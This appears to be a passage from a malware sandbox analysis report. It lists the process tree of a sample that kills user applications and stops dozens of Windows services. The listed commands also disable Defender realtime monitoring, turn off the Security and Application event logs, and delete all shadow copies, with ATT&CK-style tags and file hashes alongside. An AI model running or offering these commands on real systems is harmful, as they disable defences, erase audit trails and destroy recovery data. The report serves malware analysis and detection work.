C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3100
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM notepad.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3156
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM chrome.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5308
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM firefox.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5400
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM msedge.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1648
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM explorer.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2780
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM outlook.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3412
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM vlc.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1512
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM spotify.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6036
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM skype.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6140
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM discord.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5784
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM steam.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5828
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM java.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5428
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM python.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5920
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM node.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3772
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM cmd.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5664
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM powershell.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5676
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM taskmgr.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6072
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM wmplayer.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1144
-
-
C:\Windows\system32\taskkill.exe"taskkill" /F /IM tscon.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2528
-
-
C:\Windows\system32\sc.exe"sc" stop wuauserv2⤵
- Launches sc.exe
PID:1212
-
-
C:\Windows\system32\sc.exe"sc" stop spooler2⤵
- Launches sc.exe
PID:1248
-
-
C:\Windows\system32\sc.exe"sc" stop bits2⤵
- Launches sc.exe
PID:5312
-
-
C:\Windows\system32\sc.exe"sc" stop dnsclient2⤵
- Launches sc.exe
PID:3208
-
-
C:\Windows\system32\sc.exe"sc" stop lanmanworkstation2⤵
- Launches sc.exe
PID:3964
-
-
C:\Windows\system32\sc.exe"sc" stop winmgmt2⤵
- Launches sc.exe
PID:2868
-
-
C:\Windows\system32\sc.exe"sc" stop netsh2⤵
- Launches sc.exe
PID:4184
-
-
C:\Windows\system32\sc.exe"sc" stop iphlpsvc2⤵
- Launches sc.exe
PID:1396
-
-
C:\Windows\system32\sc.exe"sc" stop services2⤵
- Launches sc.exe
PID:5992
-
-
C:\Windows\system32\sc.exe"sc" stop RemoteAccess2⤵
- Launches sc.exe
PID:1796
-
-
C:\Windows\system32\sc.exe"sc" stop ShellHWDetection2⤵
- Launches sc.exe
PID:5804
-
-
C:\Windows\system32\sc.exe"sc" stop SCardSvr2⤵
- Launches sc.exe
PID:3324
-
-
C:\Windows\system32\sc.exe"sc" stop TrkWks2⤵
- Launches sc.exe
PID:1352
-
-
C:\Windows\system32\sc.exe"sc" stop wscsvc2⤵
- Launches sc.exe
PID:5616
-
-
C:\Windows\system32\sc.exe"sc" stop CryptSvc2⤵
- Launches sc.exe
PID:5532
-
-
C:\Windows\system32\sc.exe"sc" stop msiserver2⤵
- Launches sc.exe
PID:5472
-
-
C:\Windows\system32\sc.exe"sc" stop MpsSvc2⤵
- Launches sc.exe
PID:4060
-
-
C:\Windows\system32\sc.exe"sc" stop defragsvc2⤵
- Launches sc.exe
PID:4412
-
-
C:\Windows\system32\sc.exe"sc" stop upnphost2⤵
- Launches sc.exe
PID:5896
-
-
C:\Windows\system32\sc.exe"sc" stop WindowsUpdate2⤵
- Launches sc.exe
PID:5648
-
-
C:\Windows\system32\sc.exe"sc" stop srservice2⤵
- Launches sc.exe
PID:3544
-
-
C:\Windows\system32\sc.exe"sc" stop wsmprovhost2⤵
- Launches sc.exe
PID:4144
-
-
C:\Windows\system32\sc.exe"sc" stop AppIDSvc2⤵
- Launches sc.exe
PID:6132
-
-
C:\Windows\system32\sc.exe"sc" stop AudioEndpointBuilder2⤵
- Launches sc.exe
PID:6020
-
-
C:\Windows\system32\sc.exe"sc" stop Schedule2⤵
- Launches sc.exe
PID:1732
-
-
C:\Windows\system32\sc.exe"sc" stop eventlog2⤵
- Launches sc.exe
PID:3444
-
-
C:\Windows\system32\sc.exe"sc" stop PlugPlay2⤵
- Launches sc.exe
PID:2964
-
-
C:\Windows\system32\sc.exe"sc" stop Netman2⤵
- Launches sc.exe
PID:5056
-
-
C:\Windows\system32\sc.exe"sc" stop bthserv2⤵
- Launches sc.exe
PID:496
-
-
C:\Windows\system32\sc.exe"sc" stop CryptSvc2⤵
- Launches sc.exe
PID:1492
-
-
C:\Windows\system32\sc.exe"sc" stop ShellExperienceHost2⤵
- Launches sc.exe
PID:1476
-
-
C:\Windows\system32\sc.exe"sc" stop SMB2⤵
- Launches sc.exe
PID:5876
-
-
C:\Windows\system32\sc.exe"sc" stop WinDefend2⤵
- Launches sc.exe
PID:2672
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1504
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "wevtutil sl Security /e:false"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4980 -
C:\Windows\system32\wevtutil.exe"C:\Windows\system32\wevtutil.exe" sl Security /e:false3⤵PID:2300
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command "wevtutil sl Application /e:false"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4620 -
C:\Windows\system32\wevtutil.exe"C:\Windows\system32\wevtutil.exe" sl Application /e:false3⤵PID:5620
-
-
-
C:\Windows\system32\vssadmin.exe"vssadmin" "delete shadows" /all /quiet2⤵
- Interacts with shadow copies
PID:2636
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2460
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
PID:816
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 00ae5433c0107cc164516c7849b4cff7b6faeb52e5afa65c01dbd8c7a5efe397
- MD5 d136d3411d4aa688242c53cafb993aa6
- SHA1 1a81cc78e3ca445d5a5193e49ddce26d5e25179f
- SHA512 282ea53f8093c00e8c64d253782068211f8c4187391d5078755f55dedb8825c0042173d82f489d7b6c06e88184b70e83c1e92dadb80f57bd96c95855ac6b3da1
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 24cb30bab5b03b374a25961abc5bb1f150be147e0922095997d761a9923e6606
- MD5 f08bb5e6f49788531694ac01cd9df894
- SHA1 81edea4b2997856fedc7e27efa12837926c3924b
- SHA512 2ab3d93f6a49bb67408e9f981742becd964338db13c54d6281318b383230d94d814a71bdb7a00c72c6233170ef4a9332a4e1aa633db44f21dfdcbb7578d31717
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 de92aea2077347c06adea18e804e0c953abe84c6a3b51e673350cb5c12078894
- MD5 f899565a97ba6d22a86d7e61da2c1bca
- SHA1 ecd3ce56ce44b6b0987efba1b84e28955a36d07b
- SHA512 e6b2b6d60622d51aa9b275905927c579ce6e244b389b97f769aa25a5f6fd4db0d6ee4dd9715cbf9c53f8bc1919987ebfeba1a21115dddb0a6162b93954c11246
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j2vnh3h3.jrj.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512